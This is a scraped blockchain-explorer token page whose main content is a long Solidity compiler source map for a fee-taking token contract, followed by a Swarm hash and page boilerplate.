25;;;;;;;;;:52;;-1:-1:-1;;;;;;17340:23:0;;;;;;:19;:23;;;;;;;;17311:52;17303:87;;;;-1:-1:-1;;;17303:87:0;;7358:2:1;17303:87:0;;;7340:21:1;7397:2;7377:18;;;7370:30;-1:-1:-1;;;7416:18:1;;;7409:52;7478:18;;17303:87:0;7156:346:1;17303:87:0;-1:-1:-1;;;;;17432:14:0;;;;;;:8;:14;;;;;;;;:54;;;;-1:-1:-1;;;;;;17451:35:0;;;;;;:31;:35;;;;;;;;17450:36;17432:54;17428:623;;;14212:21;17519:6;:30;;17511:81;;;;-1:-1:-1;;;17511:81:0;;7709:2:1;17511:81:0;;;7691:21:1;7748:2;7728:18;;;7721:30;7787:34;7767:18;;;7760:62;-1:-1:-1;;;7838:18:1;;;7831:36;7884:19;;17511:81:0;7507:402:1;17511:81:0;14276:21;17639:6;17623:13;17633:2;-1:-1:-1;;;;;7075:18:0;7048:7;7075:18;;;;;;;;;;;;6974:127;17623:13;:22;;;;:::i;:::-;:35;;17615:67;;;;-1:-1:-1;;;17615:67:0;;8116:2:1;17615:67:0;;;8098:21:1;8155:2;8135:18;;;8128:30;-1:-1:-1;;;8174:18:1;;;8167:49;8233:18;;17615:67:0;7914:343:1;17615:67:0;17428:623;;;-1:-1:-1;;;;;17712:12:0;;;;;;:8;:12;;;;;;;;:54;;;;-1:-1:-1;;;;;;17729:37:0;;;;;;:31;:37;;;;;;;;17728:38;17712:54;17708:343;;;14212:21;17799:6;:30;;17791:82;;;;-1:-1:-1;;;17791:82:0;;8464:2:1;17791:82:0;;;8446:21:1;8503:2;8483:18;;;8476:30;8542:34;8522:18;;;8515:62;-1:-1:-1;;;8593:18:1;;;8586:37;8640:19;;17791:82:0;8262:403:1;17708:343:0;-1:-1:-1;;;;;17904:35:0;;;;;;:31;:35;;;;;;;;17899:152;;14276:21;17988:6;17972:13;17982:2;-1:-1:-1;;;;;7075:18:0;7048:7;7075:18;;;;;;;;;;;;6974:127;17972:13;:22;;;;:::i;:::-;:35;;17964:67;;;;-1:-1:-1;;;17964:67:0;;8116:2:1;17964:67:0;;;8098:21:1;8155:2;8135:18;;;8128:30;-1:-1:-1;;;8174:18:1;;;8167:49;8233:18;;17964:67:0;7914:343:1;17964:67:0;-1:-1:-1;;;;;18094:25:0;;;;;;:19;:25;;;;;;;;;:52;;-1:-1:-1;;;;;;18123:23:0;;;;;;:19;:23;;;;;;;;18094:52;18093:79;;;;-1:-1:-1;;;;;;18151:21:0;;18167:4;18151:21;;18093:79;:102;;;;-1:-1:-1;;;;;;18176:19:0;;18190:4;18176:19;;18093:102;18089:162;;;18224:15;18212:9;:27;18089:162;-1:-1:-1;;;;;18265:25:0;;;;;;:19;:25;;;;;;;;:58;;;;;18295:19;:28;18315:7;2094:6;;-1:-1:-1;;;;;2094:6:0;;2021:87;18315:7;-1:-1:-1;;;;;18295:28:0;;;;;;;;;;;;-1:-1:-1;18295:28:0;;;;18294:29;18265:58;18261:146;;;18340:34;18357:4;18363:2;18367:6;18340:16;:34::i;18261:146::-;-1:-1:-1;;;;;18422:25:0;;;;;;:19;:25;;;;;;;;18421:26;:54;;;;-1:-1:-1;;;;;;18452:23:0;;;;;;:19;:23;;;;;;;;18451:24;18421:54;18417:519;;;-1:-1:-1;;;;;18497:14:0;;;;;;:8;:14;;;;;;;;18492:433;;-1:-1:-1;;;;;18564:21:0;;18532:29;18564:21;;;:15;:21;;;;;18641:9;;18625:13;;:25;;18641:9;18625:25;:::i;:::-;18604:18;;;:46;18686:15;18669:14;;;;:32;18492:433;;;-1:-1:-1;;;;;18774:19:0;;18742:29;18774:19;;;:15;:19;;;;;18816:13;;18774:19;;18816:18;18812:98;;18875:15;18859:31;;18812:98;18723:202;18492:433;19003:4;18948:12;7075:18;;;;;;;;;;;14349;18963:46;;18948:61;;19020:16;14154:2;19054:10;;:30;;;;:::i;:::-;19039:12;:45;19020:64;;19115:7;:36;;;;;19140:11;19139:12;19115:36;:62;;;;-1:-1:-1;19169:8:0;;;;19168:9;19115:62;:94;;;;-1:-1:-1;;;;;;19195:14:0;;;;;;:8;:14;;;;;;;;19194:15;19115:94;:137;;;;-1:-1:-1;;;;;;19227:25:0;;;;;;:19;:25;;;;;;;;19226:26;19115:137;:178;;;;-1:-1:-1;;;;;;19270:23:0;;;;;;:19;:23;;;;;;;;19269:24;19115:178;19097:306;;;19320:8;:15;;-1:-1:-1;;19320:15:0;19331:4;19320:15;;;19350:10;:8;:10::i;:::-;19375:8;:16;;-1:-1:-1;;19375:16:0;;;19097:306;19431:8;;-1:-1:-1;;;;;19454:25:0;;19415:12;19454:25;;;:19;:25;;;;;;19431:8;;;;19430:9;;19454:25;;:52;;-1:-1:-1;;;;;;19483:23:0;;;;;;:19;:23;;;;;;;;19454:52;19450:86;;;-1:-1:-1;19531:5:0;19450:86;19549:12;19580:7;19576:1113;;;19609:11;19604:953;;-1:-1:-1;;;;;19645:14:0;;;;;;:8;:14;;;;;;;;:34;;;;-1:-1:-1;19663:16:0;19645:34;19641:566;;;19737:3;19712:21;13953:1;19712:6;:21;:::i;:::-;19711:29;;;;:::i;:::-;19704:36;-1:-1:-1;19782:42:0;13953:1;19783:22;13953:1;19704:36;19783:22;:::i;:::-;19782:28;;:42::i;:::-;19765:13;;:59;;;;;;;:::i;:::-;;;;-1:-1:-1;19863:36:0;;-1:-1:-1;13953:1:0;19864:16;13758:1;19864:4;:16;:::i;19863:36::-;19847:12;;:52;;;;;;;:::i;:::-;;;;-1:-1:-1;19604:953:0;;-1:-1:-1;19604:953:0;19641:566;-1:-1:-1;;;;;19929:12:0;;;;;;:8;:12;;;;;;;;:33;;;;-1:-1:-1;19945:17:0;19929:33;19925:282;;;20021:3;19995:22;14001:1;19995:6;:22;:::i;19925:282::-;19604:953;;;-1:-1:-1;;;;;20251:14:0;;;;;;:8;:14;;;;;;;;20247:295;;;20306:22;14049:2;20324:3;20306:17;:22::i;:::-;20297:31;;:6;:31;:::i;:::-;20290:38;;20368:4;20351:13;;:21;;;;;;;:::i;20247:295::-;-1:-1:-1;;;;;20402:12:0;;;;;;:8;:12;;;;;;;;20398:144;;;20455:23;14099:2;20474:3;20455:18;:23::i;:::-;20446:32;;:6;:32;:::i;:::-;20439:39;;20518:4;20501:13;;:21;;;;;;;:::i;:::-;;;;-1:-1:-1;;20398:144:0;20577:8;;20573:73;;20604:42;20620:4;20634;20641;20604:15;:42::i;:::-;20663:14;20673:4;20663:14;;:::i;:::-;;;19576:1113;20699:33;20715:4;20721:2;20725:6;20699:15;:33::i;:::-;16740:4000;;;;16627:4113;;;:::o;2564:191::-;2657:6;;;-1:-1:-1;;;;;2674:17:0;;;-1:-1:-1;;;;;;2674:17:0;;;;;;;2707:40;;2657:6;;;2674:17;2657:6;;2707:40;;2638:16;;2707:40;2627:128;2564:191;:::o;8772:651::-;-1:-1:-1;;;;;8912:20:0;;8904:70;;;;-1:-1:-1;;;8904:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9071:17:0;;9047:21;9071:17;;;;;;;;;;;9107:23;;;;9099:74;;;;-1:-1:-1;;;9099:74:0;;9227:2:1;9099:74:0;;;9209:21:1;9266:2;9246:18;;;9239:30;9305:34;9285:18;;;9278:62;-1:-1:-1;;;9356:18:1;;;9349:36;9402:19;;9099:74:0;9025:402:1;9099:74:0;-1:-1:-1;;;;;9209:17:0;;;:9;:17;;;;;;;;;;;9229:22;;;9209:42;;9273:20;;;;;;;;:30;;9245:6;;9209:9;9273:30;;9245:6;;9273:30;:::i;:::-;;;;;;;;9338:9;-1:-1:-1;;;;;9321:35:0;9330:6;-1:-1:-1;;;;;9321:35:0;;9349:6;9321:35;;;;1361:25:1;;1349:2;1334:18;;1215:177;9321:35:0;;;;;;;;8893:530;8772:651;;;:::o;9431:484::-;-1:-1:-1;;;;;9648:17:0;;;9624:21;9648:17;;;;;;;;;;;;;9721:22;;;9701:42;;;9765:20;;;;;;;:30;;9737:6;;9624:21;9765:30;;9737:6;;9765:30;:::i;21601:890::-;21684:4;21640:23;7075:18;;;;;;;;;;;21640:50;;21701:25;21745:12;;21729:13;;:28;;;;:::i;:::-;21701:56;-1:-1:-1;21772:20:0;;;:46;;-1:-1:-1;21796:22:0;;21772:46;21768:72;;;21833:7;;21601:890::o;21768:72::-;14416:23;14349:18;14437:2;14416:23;:::i;:::-;21856:15;:33;21852:99;;;14416:23;14349:18;14437:2;14416:23;:::i;:::-;21906:33;;21852:99;21992:15;22046:21;22078:36;21992:15;22078:16;:36::i;:::-;22127:18;22148:41;22172:17;22148:21;:41;:::i;:::-;22127:62;;22200:17;22248;22235:10;22220:12;;:25;;;;:::i;:::-;:45;;;;:::i;:::-;22293:1;22278:12;:16;;;22305:13;:17;;;22369:36;;22200:65;;-1:-1:-1;22293:1:0;13427:42;;22200:65;;22293:1;22369:36;22293:1;22369:36;22200:65;13427:42;22369:36;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;22429:54:0;;22356:49;;-1:-1:-1;13518:42:0;;22457:21;;22429:54;;;;22457:21;13518:42;22429:54;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;;;;;21601:890:0:o;4220:98::-;4278:7;4305:5;4309:1;4305;:5;:::i;:::-;4298:12;4220:98;-1:-1:-1;;;4220:98:0:o;20748:589::-;20898:16;;;20912:1;20898:16;;;;;;;;20874:21;;20898:16;;;;;;;;;;-1:-1:-1;20898:16:0;20874:40;;20943:4;20925;20930:1;20925:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;20925:23:0;;;-1:-1:-1;;;;;20925:23:0;;;;;20969:15;-1:-1:-1;;;;;20969:20:0;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20959:4;20964:1;20959:7;;;;;;;;:::i;:::-;;;;;;:32;-1:-1:-1;;;;;20959:32:0;;;-1:-1:-1;;;;;20959:32:0;;;;;21004:62;21021:4;21036:15;21054:11;21004:8;:62::i;:::-;21105:224;;-1:-1:-1;;;21105:224:0;;-1:-1:-1;;;;;21105:15:0;:66;;;;:224;;21186:11;;21212:1;;21256:4;;21283;;21303:15;;21105:224;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20803:534;20748:589;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1632:456::-;1709:6;1717;1725;1778:2;1766:9;1757:7;1753:23;1749:32;1746:52;;;1794:1;1791;1784:12;1746:52;1833:9;1820:23;1852:31;1877:5;1852:31;:::i;:::-;1902:5;-1:-1:-1;1959:2:1;1944:18;;1931:32;1972:33;1931:32;1972:33;:::i;:::-;1632:456;;2024:7;;-1:-1:-1;;;2078:2:1;2063:18;;;;2050:32;;1632:456::o;2490:247::-;2549:6;2602:2;2590:9;2581:7;2577:23;2573:32;2570:52;;;2618:1;2615;2608:12;2570:52;2657:9;2644:23;2676:31;2701:5;2676:31;:::i;2742:388::-;2810:6;2818;2871:2;2859:9;2850:7;2846:23;2842:32;2839:52;;;2887:1;2884;2877:12;2839:52;2926:9;2913:23;2945:31;2970:5;2945:31;:::i;:::-;2995:5;-1:-1:-1;3052:2:1;3037:18;;3024:32;3065:33;3024:32;3065:33;:::i;:::-;3117:7;3107:17;;;2742:388;;;;;:::o;3135:380::-;3214:1;3210:12;;;;3257;;;3278:61;;3332:4;3324:6;3320:17;3310:27;;3278:61;3385:2;3377:6;3374:14;3354:18;3351:38;3348:161;;3431:10;3426:3;3422:20;3419:1;3412:31;3466:4;3463:1;3456:15;3494:4;3491:1;3484:15;3348:161;;3135:380;;;:::o;3929:127::-;3990:10;3985:3;3981:20;3978:1;3971:31;4021:4;4018:1;4011:15;4045:4;4042:1;4035:15;4061:125;4126:9;;;4147:10;;;4144:36;;;4160:18;;:::i;4191:356::-;4393:2;4375:21;;;4412:18;;;4405:30;4471:34;4466:2;4451:18;;4444:62;4538:2;4523:18;;4191:356::o;4958:168::-;5031:9;;;5062;;5079:15;;;5073:22;;5059:37;5049:71;;5100:18;;:::i;6346:401::-;6548:2;6530:21;;;6587:2;6567:18;;;6560:30;6626:34;6621:2;6606:18;;6599:62;-1:-1:-1;;;6692:2:1;6677:18;;6670:35;6737:3;6722:19;;6346:401::o;8670:128::-;8737:9;;;8758:11;;;8755:37;;;8772:18;;:::i;8803:217::-;8843:1;8869;8859:132;;8913:10;8908:3;8904:20;8901:1;8894:31;8948:4;8945:1;8938:15;8976:4;8973:1;8966:15;8859:132;-1:-1:-1;9005:9:1;;8803:217::o;9774:127::-;9835:10;9830:3;9826:20;9823:1;9816:31;9866:4;9863:1;9856:15;9890:4;9887:1;9880:15;9906:251;9976:6;10029:2;10017:9;10008:7;10004:23;10000:32;9997:52;;;10045:1;10042;10035:12;9997:52;10077:9;10071:16;10096:31;10121:5;10096:31;:::i;10162:980::-;10424:4;10472:3;10461:9;10457:19;10503:6;10492:9;10485:25;10529:2;10567:6;10562:2;10551:9;10547:18;10540:34;10610:3;10605:2;10594:9;10590:18;10583:31;10634:6;10669;10663:13;10700:6;10692;10685:22;10738:3;10727:9;10723:19;10716:26;;10777:2;10769:6;10765:15;10751:29;;10798:1;10808:195;10822:6;10819:1;10816:13;10808:195;;;10887:13;;-1:-1:-1;;;;;10883:39:1;10871:52;;10978:15;;;;10943:12;;;;10919:1;10837:9;10808:195;;;-1:-1:-1;;;;;;;11059:32:1;;;;11054:2;11039:18;;11032:60;-1:-1:-1;;;11123:3:1;11108:19;11101:35;11020:3;10162:980;-1:-1:-1;;;10162:980:1:o
Swarm Source
ipfs://ec36f0ff2744b21efd9e7f85c7deb54809342f7be4da46a072c9bf6029f2aa4f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.